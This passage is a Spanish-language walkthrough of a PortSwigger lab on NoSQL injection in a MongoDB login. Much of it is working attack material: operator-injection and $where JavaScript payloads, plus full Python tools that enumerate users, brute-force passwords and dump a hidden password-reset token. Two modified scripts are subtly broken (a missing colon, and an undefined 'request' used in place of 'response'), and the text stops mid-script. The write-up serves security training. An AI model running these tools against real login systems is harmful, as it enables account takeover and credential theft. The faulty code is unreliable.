Entrada

Exploiting NoSQL operator injection to extract unknown fields

Laboratorio de Portswigger sobre NoSQLI

Exploiting NoSQL operator injection to extract unknown fields

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

La funcionalidad de búsqueda de usuarios para este laboratorio está impulsada por MongoDB, una base de datos NoSQL, la cual es vulnerable a inyección NoSQL. Para resolver el laboratorio, debemos iniciar sesión como carlos


Guía de NoSQLI

Antes de completar este laboratorio es recomendable leerse esta guía de NoSQLI https://justice-reaper.github.io/posts/NoSQLI-Guide/

Resolución

Al acceder a la web vemos esto

Pulsamos sobre My account e intentamos loguearnos con unas credenciales aleatorias

Si capturamos la petición con Burpsuite, vemos que se está enviando un JSON con el nombre de usuario y la contraseña

Vamos a testear a ver si podemos enumerar usuarios mediante operadores de consulta, para ello vamos a mandar este payload al Intruder

1
2
3
4
{
  "username":{"$regex":"^a"},
  "password": {"$ne":null}
}

Marcamos la letra a, para fuzzear usuarios que empiecen por esa letra o caracter

Como payload, vamos a utilizar todos los caracteres imprimibles de la librería string de python

1
2
3
4
5
6
7
8
# python  
Python 3.13.2 (main, Feb  5 2025, 01:23:35) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import string
>>> dir (string)
['Formatter', 'Template', '_ChainMap', '__all__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '_re', '_sentinel_dict', '_string', 'ascii_letters', 'ascii_lowercase', 'ascii_uppercase', 'capwords', 'digits', 'hexdigits', 'octdigits', 'printable', 'punctuation', 'whitespace']
>>> string.printable
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'

Vamos a ir iterando para eliminar los caracteres que se repiten y vamos a hacer que se muestren uno debajo de otro

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python3

import string

characters = "".join(sorted(set(character for character in string.printable if character.isprintable()), key=string.printable.index))

for character in characters:
    if character == '\\':
        character = '\\\\\\' + character
    elif character == '"':
        character = '\\' + character
    elif character in '.^$*+?{}[]|()':
        character = '\\\\' + character
    print(character)

Ejecutamos el script, copiamos y pegamos todos los caracteres para usarlos como payload

Desactivamos el payload encoding

En el apartado de Settings > Grep and extract, vamos a marcar el texto que queremos extraer de la respuesta, por si se produce alguna respuesta inesperada

Pulsamos sobre Start attack y filtramos por la columna en la que pone Payload 1 y posteriormente por la que pone warning

Con la w vemos que nos ha iniciado sesión como wiener

Al buscar usuarios que empiecen por la c vemos que nos devuelve este mensaje

Para obtener los demás caracteres hay que añadirle los caracteres descubiertos al payload y ejecutar el ataque nuevamente hasta obtenerlos todos. Esto habría que hacerlo para los dos usuarios que hemos descubierto

Como alternativa a Burpsuite, podemos usar el script NoSQLI-User-Enumerator.py https://github.com/Justice-Reaper/NoSQLI-Attack-Suite/blob/main/NoSQLI-User-Enumerator.py, ya que es mucho más rápido y menos tedioso. Para que funcione vamos a tener que modificarlo, porque el script no contempla que cuando el servidor nos muestra Account locked: please reset your password hay un usuario válido. La parte negativa de esto es que si hubiera otro usuario que nos devolviese una respuesta diferente estas dos, el script no lo detectaría. Por lo tanto, siempre es mejor enumerar usuarios desde Burpsuite, porque es más preciso. Este es el script modificado:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string, argparse, urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def def_handler(sig, frame):
    print("\n\n[!] Exiting ...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def initialize_session(proxy_url, verify_ssl):
    session = requests.Session()
    
    session.headers.update({
        'Content-Type': 'application/json',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    })
    
    if proxy_url:
        proxies = {
            'http': proxy_url,
            'https': proxy_url
        }
        session.proxies = proxies
        session.verify = False
        
    elif not verify_ssl:
        session.verify = False
    
    return session

def make_request(session, url, payload):
    try:
        response = session.post(
            url,
            json=payload,
            timeout=300,
            allow_redirects=False
        )
        return response
    except requests.exceptions.RequestException as e:
        log.error(f"Request error: {e}")
        return None

def enumerate_usernames(session, url):
    usernames = []
    current_username = ""
    characters = "".join(sorted(
        set(character for character in string.printable if character.isprintable()), 
        key=string.printable.index
    ))
    
    progress_bar = log.progress("Enumerating users")
    progress_bar.status("Starting brute-force attack")
    
    while True:
        character_found = False
        
        for character in characters:
            if character in '.^$*+?{}[]\\|()':
                character = '\\' + character
            
            payload = {
                'username': {
                    '$regex': f'^{current_username}{character}',
                    '$nin': usernames
                },
                'password': {'$ne': None}
            }
            
            progress_bar.status(payload)
            
            response = make_request(session, url, payload)
            
            if request.status_code == 302 or "Account locked: please reset your password" in request.text
                current_username += character
                character_found = True
                break
        
        if not character_found:
            if current_username and current_username not in usernames:
                usernames.append(current_username)
                log.success(f"✓ User found: {current_username}")
                current_username = ""
            elif not current_username:
                break
    
    progress_bar.success("Completed")
    return usernames

def save_results(usernames, output_file):
    if usernames:
        try:
            with open(output_file, 'w') as f:
                for username in usernames:
                    f.write(f"{username}\n")
            
            log.info(f"Total users found: {len(usernames)}")
            log.info(f"Users saved to {output_file}")
        except IOError as e:
            log.error(f"Error saving results: {e}")
    else:
        log.failure("No users found")

def main(url, proxy_url=None, verify_ssl=True, output_file="usernames.txt"):
    session = initialize_session(proxy_url, verify_ssl)
    
    usernames = enumerate_usernames(session, url)
    
    save_results(usernames, output_file)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        description='MongoDB Username Enumeration via NoSQL Injection',
        add_help=False
    )
    parser.add_argument('-h', '--help', action='help', 
                       help='Show this help message and exit')
    
    parser.add_argument('-u', '--url', required=True, metavar='', 
                       help='Target URL (e.g. https://example.com/login)')
    
    parser.add_argument('-p', '--proxy', metavar='', 
                       help='Proxy URL (e.g. http://127.0.0.1:8080)')

    parser.add_argument('-k', '--insecure',
                       action='store_true',
                       help='Disable SSL certificate verification (for self-signed certificates/invalid certificates)')
    
    parser.add_argument('-o', '--output', default='usernames.txt', metavar='', 
                       help='Output file (default: usernames.txt)')
    
    args = parser.parse_args()
    
    main(url=args.url, proxy_url=args.proxy, verify_ssl=not args.insecure, output_file=args.output)

Ejecutamos el script y vemos que hay dos usuarios válidos, wiener y carlos. Como con wiener nos devolvía un código de estado 302 Found, podemos deducir que el usuario con la cuenta bloqueada es carlos

1
2
3
4
5
6
# python NoSQLI-User-Enumerator.py -u https://0a4f009e043f43198154d934005400cd.web-security-academy.net/login
[..\.....] Enumerating users: {'username': {'$regex': '^~', '$nin': ['carlos', 'wiener']}, 'password': {'$ne': ''}}
[+] ✓ User found: carlos
[+] ✓ User found: wiener
[*] Total users found: 2
[*] Users saved in usernames.txt

Si intentamos iniciar sesión con carlos pero usamos una contraseña incorrecta nos mostrará este mensaje

Sin embargo, si usamos este otro payload para evitar proporcionar la contraseña, tampoco nos deja iniciar sesión porque necesitamos resetear la contraseña

Podemos intentar dumpear la contraseña del usuario carlos para ver si nos deja iniciar sesión proporcionando el usuario y la contraseña. Para ello vamos a usar este payload:

1
2
3
4
{
  "username":"carlos",
  "password":{"$regex":"^a"}
}

Enviamos la petición al Intruder, seleccionamos el tipo de ataque Sniper y seleccionamos la letra a

Posteriormente, como payload vamos a usar el output de este script nuevamente. Ejecutamos el script, copiamos y pegamos todos los caracteres para usarlos como payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python3

import string

characters = "".join(sorted(set(character for character in string.printable if character.isprintable()), key=string.printable.index))

for character in characters:
    if character == '\\':
        character = '\\\\\\' + character
    elif character == '"':
        character = '\\' + character
    elif character in '.^$*+?{}[]|()':
        character = '\\\\' + character
    print(character)

Posteriormente, desactivamos el URL encoding y en el apartado de Settings > Grep and extract, vamos a seleccionar el texto Invalid username or password, por si se producen cambios en esa posición

Pulsamos sobre Start attack y filtramos por la columna en la que pone warning y vemos que la primera letra de la contraseña es la l. Para obtener el resto de la contraseña, hay que añadir los caracteres descubiertos al payload y ejecutar el ataque nuevamente hasta obtenerlos todos

Para evitar esto, que es un poco tedioso hacerlo cada vez que lo necesitemos, vamos a utilizar el script NoSQLI-Password-Dumper.py https://github.com/Justice-Reaper/NoSQLI-Attack-Suite/blob/main/NoSQLI-Password-Dumper.py. Para que el script detecte las cuentas que están bloqueadas hay que modificar el script y añadirle que detecte el texto Account locked: please reset your password en la respuesta. Este es el script modificado:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
#!/usr/bin/python3

from pwn import *
import requests, signal, sys, string, argparse, urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def def_handler(sig, frame):
    print("\n\n[!] Exiting ...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def initialize_session(proxy_url, verify_ssl):
    session = requests.Session()
    
    session.headers.update({
        'Content-Type': 'application/json',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    })
    
    if proxy_url:
        proxies = {
            'http': proxy_url,
            'https': proxy_url
        }
        session.proxies = proxies
        session.verify = False
        
    elif not verify_ssl:
        session.verify = False
    
    return session

def make_request(session, url, payload):
    try:
        response = session.post(
            url,
            json=payload,
            timeout=300,
            allow_redirects=False
        )
        return response
        
    except requests.exceptions.RequestException as e:
        log.error(f"Request error: {e}")
        return None

def save_credentials_and_passwords(credentials, credentials_file, password_file):
    try:
        with open(credentials_file, 'w') as f_creds:
            for cred in credentials:
                f_creds.write(f"{cred}\n")
        
        with open(password_file, 'w') as f_pass:
            for cred in credentials:
                password = cred.split(':')[1]
                f_pass.write(f"{password}\n")
        
        log.info(f"Credentials saved to {credentials_file}")
        log.info(f"Passwords saved to {password_file}")
        
    except Exception as e:
        log.error(f"Error saving credentials: {e}")

def load_users_from_file(user_file):
    try:
        with open(user_file, 'r') as f:
            users = [line.strip() for line in f if line.strip()]
            
        if not users:
            log.failure("No users to process")
            sys.exit(1)

        log.info("Using provided users file")
        log.info(f"Total users to process: {len(users)}")
        return users
        
    except FileNotFoundError:
        log.error(f"File not found: {user_file}")
        sys.exit(1)
        
    except Exception as e:
        log.error(f"Error reading file: {e}")
        sys.exit(1)

def load_users_from_list(user_list):
    users = [u.strip() for u in user_list.split(',') if u.strip()]
    
    if not users:
        log.error("The user list is empty")
        sys.exit(1)

    log.info("Using provided users list")
    log.info(f"Total users to process: {len(users)}")
    return users

def enumeratePasswords(url, session, users, credentials_file, password_file):
    progress_bar = log.progress("Enumerating passwords")
    credentials = []
    characters = "".join(sorted(set(character for character in string.printable if character.isprintable()), key=string.printable.index))
    
    for user in users:
        password = ""
        
        while True:
            character_found = False
            
            for character in characters:
                if character in '.^$*+?{}[]\\|()':
                    character = '\\' + character
                
                payload = {
                    'username': user,
                    'password': {
                        '$regex': f'^{password}{character}'
                    }
                }
                
                progress_bar.status(f"{{'username': '{user}', 'password': {{'$regex': '^{password}{character}'}}}}")
                
                response = make_request(session, url, payload)
                
                if request.status_code == 302 or "Account locked: please reset your password" in request.text
                    password += character
                    character_found = True
                    break
            
            if not character_found:
                break
        
        if password:
            log.success(f"✓ Credentials found -> {user}:{password}")
            credentials.append(f"{user}:{password}")
        else:
            log.warning(f"No password found for {user}")
    
    if credentials:
        log.info(f"Total passwords found: {len(credentials)}")
        save_credentials_and_passwords(credentials, credentials_file, password_file)
    else:
        log.failure("No passwords found")

def main(url, proxy_url=None, verify_ssl=True, user_file=None, user_list=None, credentials_file="credentials.txt", password_file="passwords.txt"):
    session = initialize_session(proxy_url, verify_ssl)
    
    if user_file:
        users = load_users_from_file(user_file)
    elif user_list:
        users = load_users_from_list(user_list)
    
    enumeratePasswords(url, session, users, credentials_file, password_file)

if __name__ == '__main__':
    class CustomFormatter(argparse.RawDescriptionHelpFormatter):
        def __init__(self, prog):
            super().__init__(prog, max_help_position=35, width=150)
    
    parser = argparse.ArgumentParser(
        description='Tool to extract passwords using NoSQL Injection in MongoDB',
        formatter_class=CustomFormatter,
        add_help=False)

    parser.add_argument('-h', '--help', 
                        action='help', 
                        help='Show this help message and exit')
    
    parser.add_argument('-u', '--url', 
                        required=True,
                        metavar='',
                        help='Target URL of the login endpoint (e.g.: https://example.com/login)')
    
    parser.add_argument('-p', '--proxy',
                        metavar='',
                        help='Proxy URL to intercept traffic (e.g.: http://127.0.0.1:8080)')
    
    parser.add_argument('-k', '--insecure',
                        action='store_true',
                        help='Disable SSL certificate verification (for self-signed certificates/invalid certificates)')
    
    users_input = parser.add_mutually_exclusive_group(required=True)
    users_input.add_argument('-uf', '--user-file',
                            metavar='',
                            help='Text file containing users (one per line)')
    
    users_input.add_argument('-ul', '--user-list',
                            metavar='',
                            help='Comma-separated list of users (e.g.: admin,root,test)')
    
    parser.add_argument('-oc', '--output-credentials',
                          metavar='',
                          default='credentials.txt',
                          help='File to save credentials in user:pass format (default: credentials.txt)')
    
    parser.add_argument('-op', '--output-passwords',
                          metavar='',
                          default='passwords.txt',
                          help='File to save only passwords (default: passwords.txt)')
    
    args = parser.parse_args()
    
    main(
        url=args.url, 
        proxy_url=args.proxy,
        verify_ssl=not args.insecure,
        user_file=args.user_file,
        user_list=args.user_list if args.user_list else None,
        credentials_file=args.output_credentials,
        password_file=args.output_passwords
    )

Ejecutamos el script y obtenemos la contraseña del usuario wiener y del usuario carlos

1
2
3
4
5
6
7
8
9
# python NoSQLI-Password-Dumper.py -u https://0a4f009e043f43198154d934005400cd.web-security-academy.net/login -ul wiener,carlos
[*] Using provided users list
[*] Total users to process: 2
[-] Enumerating passwords: {'username': 'carlos', 'password': {'$regex': '^jk9eoavzceh718wu0bmx~'}}
[+] ✓ Credentials found -> wiener:ckemav26vv5s53kydpcd
[+] ✓ Credentials found -> carlos:lnanxox2veino4ce152i
[*] Total passwords found: 2
[*] Credentials saved in credentials.txt
[*] Passwords saved in passwords.txt

Intentamos iniciar sesión con las credenciales de wiener y lo logramos

Sin embargo, al intentar iniciar sesión con las credenciales de carlos se muestra el mismo mensaje

Para estos casos, lo que que podemos hacer es intentar utilizar un operador de consulta que nos permita ejecutar código JavaScript. Para comprobar si podemos hacerlo, vamos a enviar una petición al login de la web usando el operador $where y le asignamos 1 como valor, el 1 en JavaScript es un valor truthy, lo cual quiere decir que se interpreta como si fuera True. Vemos que la respuesta no devuelve ningún error

En esta petición le asignamos 0 como valor. El 0 en JavaScript es un valor falsy , lo cual quiere decir que se interpreta como si fuera False. Si observamos bien, vemos que a pesar de haber proporcionado las credenciales correctas obtenemos un error

Esto indica que la expresión de JavaScript dentro de la cláusula $where está siendo evaluada. Como hemos podido usar un operador de consulta que permite ejecutar JavaScript, es posible que podemos utilizar el método keys() para extraer el nombre de los campos del documento de JavaScript. En el contexto de bases de datos NoSQL como MongoDB, un documento es una unidad de datos almacenada, similar a un registro en bases de datos relacionales. Los documentos están estructurados en formato JSON, lo que significa que pueden contener varios campos y valores. Por ejemplo:

1
2
3
4
5
6
7
8
9
10
11
12
{
  "_id": 1,
  "username": "juan123",
  "password": "mypassword123",
  "email": "juan@example.com",
  "first_name": "Juan",
  "last_name": "Pérez",
  "date_of_birth": "1994-06-15",
  "status": "active",
  "role": "user",
  "last_login": "2025-03-01T10:30:00Z"
}

En JavaScript el primer campo es _id por defecto y se pueden listar los campos de un objeto de la siguiente forma:

Como podemos inyectar código JavaScript, vamos a crear una función que nos diga cuantos campos tiene este documento

1
2
3
4
5
{
  "username":"carlos",
  "password":{"$ne":null},
  "$where": "function(){ if (Object.keys(this).length==0) return 1; else 0; }"
}

Enviamos la petición al Intruder, seleccionamos el tipo de ataque Sniper y seleccionamos el 0

Como payload vamos a usar uno de tipo numérico que vaya desde 0 hasta 50 por ejemplo, y si no encuentra nada tendremos que aumentar el límite superior

Lo siguiente es igual que antes, desactivamos el URL encoding y en el apartado de Settings > Grep and extract, vamos a seleccionar el texto Invalid username or password, por si se producen cambios en esa posición

Pulsamos sobre Start attack, filtramos por la columna en la que pone warning y vemos que el documento de MongoDB tiene 4 campos

Si pulsamos sobre Forgot password?, introducimos el nombre del usuario carlos y hacemos click en Submit veremos que se envía un email al correo electrónico de carlos

Al no tener acceso al email podemos creer que no vamos a poder resetear la contraseña. Sin embargo, puede ser que se haya creado un nuevo campo para el usuario carlos. Esto lo podemos verificar enviando la misma petición que enviamos anteriormente. Si nos fijamos bien, ahora nos dice que los campos no son 4

Si cambiamos el valor a 5, vemos que ahora nos devuelve el mensaje Account locked: please reset your password, esto se debe a que se ha creado un nuevo campo para el usuario carlos

1
2
3
4
5
{
  "username":"carlos",
  "password": {"$ne":null},
  "$where": "function(){ if (Object.keys(this).length==5) return 1; else 0; }"
}

Una vez sabemos que el documento tiene 5 campos, vamos a averiguar el nombre de esos campos. Para ello, lo primero que vamos a hacer, es obtener la longitud de cada uno de los campos mediante este payload

1
2
3
4
5
{
  "username": "carlos",
  "password": {"$ne":null},
  "$where": "function(){ if (Object.keys(this)[0].length==0) return 1; else return 0; }"
}

Enviamos la petición al Intruder, seleccionamos Cluster bomb como tipo de ataque y marcamos las posiciones donde vamos a inyectar los payloads

El primer payload va a ser de tipo numérico y va a ir desde 0 al 4. Esto lo hacemos así, porque el índice del documento empieza en 0 y no en 1

Como segundo payload vamos a poner que la máxima longitud sea de 50 y si no obtenemos respuesta, aumentamos este límite

Lo siguiente es igual que antes, desactivamos el URL encoding para ambos payloads y en el apartado de Settings > Grep and extract, vamos a seleccionar el texto Invalid username or password, por si se producen cambios en esa posición

Pulsamos sobre Start attack y filtramos por la columna que dice Payload 1 y posteriormente por la que dice warning. Vemos que el primer campo del documento tiene 3 caracteres, el segundo campo tiene 8 caracteres, el tercer campo tiene 8 caracteres, el cuarto campo tiene 5 caracteres y quinto campo tiene 13 caracteres

El siguiente paso es obtener el nombre de los campos mediante este payload

1
2
3
4
5
6
7
{
  "username": "carlos",
  "password": {
    "$ne": null
  },
  "$where": "function(){ if (Object.keys(this)[0].match('^.{0}a.*')) return 1; else return 0; }"
}

Enviamos la petición al Intruder, seleccionamos como tipo de ataque Cluster bomb y seleccionamos las posiciones a bruteforcear. En este caso solo voy a bruteforcear solo el quinto campo, porque es el nuevo

Como hemos visto que el quinto campo tiene 13 caracteres, vamos a seleccionar un primer payload de tipo numérico que va a ir desde 0 hasta 12

Como segundo payload vamos a utilizar el output de este script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3

import string

characters = "".join(sorted(set(character for character in string.printable if character.isprintable()), key=string.printable.index))

for character in characters:
    if character == '\\':
        character = '\\\\\\\\\\\\\\' + character
    elif character == "'":
        character = '\\\\' + character
    elif character == '"':
        character = '\\' + character
    elif character in '.^$*+?{}[]|()':
        character = '\\\\\\\\' + character
    print(character)

Lo siguiente es igual que antes, desactivamos el urlencoding para ambos payloads y en el apartado de Settings > Grep and extract, vamos a seleccionar el texto Invalid username or password, por si se producen cambios en esa posición

Pulsamos sobre Start attack, filtramos por la columna en la que pone Payload 1 y posteriormente por la que pone warning. Vemos que quinto campo es passwordReset

El siguiente paso es obtener la longitud del valor de los campos, para lo cual, vamos a usar este payload

1
2
3
4
5
6
7
{
  "username": "carlos",
  "password": {
    "$ne": null
  },
  "$where": "function(){ if (this.passwordReset.valueOf().toString().length==0) return 1; else return 0; }"
}

Lo enviamos al Intruder, seleccionamos Sniper como tipo de ataque y seleccionamos la parte del payload a bruteforcear

Vamos a seleccionar un payload de tipo numérico que vaya desde el 0 hasta el 50 y si no obtenemos respuesta, aumentamos el límite superior

Lo siguiente es igual que antes, desactivamos el URL encoding y en el apartado de Settings > Grep and extract, vamos a seleccionar el texto Invalid username or password, por si se producen cambios en esa posición

Pulsamos sobre Start attack, filtramos por la columna donde dice warning y vemos que tiene 16 caracteres

El siguiente paso es obtener el valor del campo, y para ello vamos a usar este payload

1
2
3
4
5
6
7
{
  "username": "carlos",
  "password": {
    "$ne": null
  },
  "$where": "function(){ if (this.passwordReset.valueOf().toString().match('^.{0}a.*')) return 1; else return 0; }"
}

Enviamos el payload al Intruder, seleccionamos Cluster bomb como tipo de ataque y marcamos los dos campos a bruteforcear

Como hemos visto que el valor del campo passwordReset tiene 16 caracteres, vamos a seleccionar un primer payload de tipo numérico que vaya desde 0 hasta 15

Posteriormente, como segundo payload vamos a usar el output de este script nuevamente. Ejecutamos el script, copiamos y pegamos todos los caracteres para usarlos como payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3

import string

characters = "".join(sorted(set(character for character in string.printable if character.isprintable()), key=string.printable.index))

for character in characters:
    if character == '\\':
        character = '\\\\\\\\\\\\\\' + character
    elif character == "'":
        character = '\\\\' + character
    elif character == '"':
        character = '\\' + character
    elif character in '.^$*+?{}[]|()':
        character = '\\\\\\\\' + character
    print(character)

Lo siguiente es igual que antes, desactivamos el URL encoding para ambos payloads y en el apartado de Settings > Grep and extract, vamos a seleccionar el texto Invalid username or password, por si se producen cambios en esa posición

Pulsamos sobre Start attack, filtramos por la columna en la que pone Payload 1, posteriormente por la que pone warning y obtenemos el valor del campo passwordReset

Una forma alternativa y mucho más sencilla es usar el script NoSQLI-Field-Dumper.py https://github.com/Justice-Reaper/NoSQLI-Attack-Suite/blob/main/NoSQLI-Field-Dumper-Post-Method.py, el cual hace todo este proceso por nosotros. Sin embargo, hay que modificarle el nombre de usuario y también que en vez de detectar se produce un 302 Found, detecte el mensaje Account locked: please reset your password en la respuesta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string, argparse, urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def def_handler(sig, frame):
    print("\n\n[!] Exiting ...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def initialize_session(proxy_url, verify_ssl):
    session = requests.Session()
    
    session.headers.update({
        'Content-Type': 'application/json',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    })
    
    if proxy_url:
        proxies = {
            'http': proxy_url,
            'https': proxy_url
        }
        session.proxies = proxies
        session.verify = False
        
    elif not verify_ssl:
        session.verify = False
    
    return session

def make_request(session, url, payload):
    try:
        response = session.post(
            url,
            json=payload,
            timeout=300,
            allow_redirects=False
        )
        return "Account locked: please reset your password" in response.text
    except requests.exceptions.RequestException as e:
        log.error(f"Error during request: {e}")
        return False

def escape_regex_character(character):
    if character == '\\':
        return '\\\\\\\\'
    elif character in '.^$*+?{}[]|()':
        return '\\\\' + character
    return character

def get_number_of_fields(session, url):
    progress_bar = log.progress("Enumerating number of fields")
    progress_bar.status("Starting brute-force attack")
    
    count = 0
    while True:
        payload = {
            "username": "carlos",
            "password": {
                "$ne": None
            },
            "$where": f"function(){{ if (Object.keys(this).length=={count}) return 1; else return 0; }}"
        }
        
        progress_bar.status(payload["$where"])
        
        if make_request(session, url, payload):
            log.success(f"Fields found: {count}")
            progress_bar.success("Completed")
            return count
        
        count += 1

def get_field_lengths(session, url, total_fields):
    field_lengths_list = []
    print()
    progress_bar = log.progress("Enumerating field lengths")
    
    for current_field_index in range(total_fields):
        current_length = 0
        
        while True:
            payload = {
                "username": "carlos",
                "password": {
                    "$ne": None
                },
                "$where": f"function(){{ if (Object.keys(this)[{current_field_index}].length=={current_length}) return 1; else return 0; }}"
            }
            
            progress_bar.status(payload["$where"])
            
            if make_request(session, url, payload):
                field_lengths_list.append(current_length)
                log.success(f"Field {current_field_index}: {current_length}")
                break
            
            current_length += 1
    
    progress_bar.success("Completed")
    return field_lengths_list

def get_field_names(session, url, field_lengths_list):
    characters = "".join(sorted(set(character for character in string.printable if character.isprintable()), key=string.printable.index))
    field_names_list = []
    print()
    progress_bar = log.progress("Enumerating field names")
    
    for current_field_index, current_field_length in enumerate(field_lengths_list):
        if current_field_length is None or current_field_length == 0:
            log.warning(f"Skipping field {current_field_index} (invalid length)")
            field_names_list.append(None)
            continue
        
        progress_bar.status(f"Extracting field {current_field_index}/{len(field_lengths_list)-1} (length: {current_field_length})")
        extracted_field_name = ""
        field_progress_bar = log.progress(f"Field {current_field_index}")
        
        for current_position in range(current_field_length):
            character_found = None
            
            for character in characters:
                escaped_character = escape_regex_character(character)
                
                payload = {
                    "username": "carlos",
                    "password": {
                        "$ne": None
                    },
                    "$where": f"function(){{ if (Object.keys(this)[{current_field_index}].match('^.{{{current_position}}}{escaped_character}.*')) return 1; else return 0; }}"
                }
                
                progress_bar.status(payload["$where"])
                
                if make_request(session, url, payload):
                    extracted_field_name += character
                    character_found = character
                    field_progress_bar.status(extracted_field_name)
                    break
            
            if character_found is None:
                log.warning(f"Could not find character at position {current_position} for field {current_field_index}")
                extracted_field_name += "?"
                field_progress_bar.status(extracted_field_name)
        
        field_names_list.append(extracted_field_name)
        field_progress_bar.success(extracted_field_name)
    
    progress_bar.success("Completed")
    return field_names_list

def get_field_value_lengths(session, url, field_names_list, field_indexes):
    field_value_lengths = {}
    print()
    progress_bar = log.progress("Enumerating field value lengths")
    
    for current_field_index in field_indexes:
        current_field_name = field_names_list[current_field_index]
        if current_field_name is None:
            log.warning(f"Skipping field (invalid name)")
            field_value_lengths[current_field_name] = None
            continue
        
        current_value_length = 0
        
        while True:
            payload = {
                "username": "carlos",
                "password": {
                    "$ne": None
                },
                "$where": f"function(){{ if (this.{current_field_name}.valueOf().toString().length=={current_value_length}) return 1; else return 0; }}"
            }
            
            progress_bar.status(payload["$where"])
            
            if make_request(session, url, payload):
                field_value_lengths[current_field_name] = current_value_length
                log.success(f"Field {current_field_index}: {current_value_length}")
                break
            
            current_value_length += 1
    
    progress_bar.success("Completed")
    return field_value_lengths

def get_field_value_names(session, url, field_names_list, field_value_lengths, field_indexes):
    characters = "".join(sorted(set(character for character in string.printable if character.isprintable()), key=string.printable.index))
    field_values = {}
    print()
    progress_bar = log.progress("Enumerating field values")
    
    for current_field_index in field_indexes:
        current_field_name = field_names_list[current_field_index]
        if current_field_name is None:
            log.warning(f"Skipping field (invalid name)")
            field_values[current_field_name] = None
            continue
        
        current_value_length = field_value_lengths.get(current_field_name)
        if current_value_length is None or current_value_length == 0:
            log.warning(f"Skipping field {current_field_index} (invalid value length)")
            field_values[current_field_name] = None
            continue
        
        progress_bar.status(f"Extracting value for field {current_field_index} (length: {current_value_length})")
        extracted_field_value = ""
        field_progress_bar = log.progress(f"Field {current_field_index}")
        
        for current_position in range(current_value_length):
            character_found = None
            
            for character in characters:
                escaped_character = escape_regex_character(character)
                
                payload = {
                    "username": "carlos",
                    "password": {
                        "$ne": None
                    },
                    "$where": f"function(){{ if (this.{current_field_name}.valueOf().toString().match('^.{{{current_position}}}{escaped_character}.*')) return 1; else return 0; }}"
                }
                
                progress_bar.status(payload["$where"])
                
                if make_request(session, url, payload):
                    extracted_field_value += character
                    character_found = character
                    field_progress_bar.status(extracted_field_value)
                    break
            
            if character_found is None:
